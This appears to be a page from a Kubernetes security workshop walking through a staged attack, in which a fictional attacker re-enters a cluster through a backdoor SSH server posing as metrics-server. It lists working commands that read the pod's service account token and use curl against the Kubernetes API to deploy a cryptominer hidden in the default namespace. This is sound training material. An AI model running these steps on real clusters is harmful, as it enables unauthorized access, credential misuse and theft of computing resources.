Skip to content

Persistence: Scenario 2 Attack

Backstory

Name: Red

  • Opportunist
  • Easy money via crypto-mining
  • Uses automated scans of web IP space looking for known exploits and vulnerabilities

Motivations

  • Red notices that public access to the cluster is gone and the cryptominers have stopped reporting in
  • Red is excited to discover that the SSH server they left behind is still active

Re-establishing a Foothold

Red reconnects to the cluster using the SSH service disguised as a metrics-server on the cluster. While having access to an individual container may not seem like much of a risk at first glance, this container has two characteristics that make it very dangerous: * There is a service account associated with the container which has been granted access to all kubernetes APIs * The container is running with a privileged security context which grants it direct access to the host OS

Deploying Miners

Connect to the cluster via SSH:

echo "SSH password is: Sup3r_S3cr3t_P@ssw0rd"
ssh root@<service IP from attack 1> -p 8080

To restart our crypto mining, we will need the token for the pod service account:

export TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)

This time, we will create our miner in the default namespace. Since it is common for lots of orphaned deployments to land here, maybe ours will go unnoticed:

export NAMESPACE=default

And we will be connecting to the kubernetes API from inside the cluster this time:

export API_SERVER="https://kubernetes.default.svc"

Lastly, we will need curl for this and our SSH image didn't come with it preinstalled:

apk update && apk add curl

Now the fun part, let's create our miner:

curl -k -X POST "$API_SERVER/apis/apps/v1/namespaces/$NAMESPACE/deployments" -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" --data-binary '{"apiVersion":"apps/v1","kind":"Deployment","metadata":{"labels":{"run":"bitcoinero"},"name":"bitcoinero","namespace":"'$NAMESPACE'"},"spec":{"replicas":1,"revisionHistoryLimit":2,"selector":{"matchLabels":{"run":"bitcoinero"}},"strategy":{"rollingUpdate":{"maxSurge":"25%","maxUnavailable":"25%"},"type":"RollingUpdate"},"template":{"metadata":{"labels":{"run":"bitcoinero"}},"spec":{"containers":[{"image":"securekubernetes/bitcoinero:latest","name":"bitcoinero","command":["./moneymoneymoney"],"args":["-c","1","-l","10"],"resources":{"requests":{"cpu":"100m","memory":"128Mi"},"limits":{"cpu":"200m","memory":"128Mi"}}}]}}}}'

Verify that the pod is running:

curl -k -X GET "$API_SERVER/api/v1/namespaces/$NAMESPACE/pods?labelSelector=run%3dbitcoinero" -H "Authorization: Bearer $TOKEN" -H "Accept: application/json" 2>/dev/null | grep phase

Time for some celebratory pizza!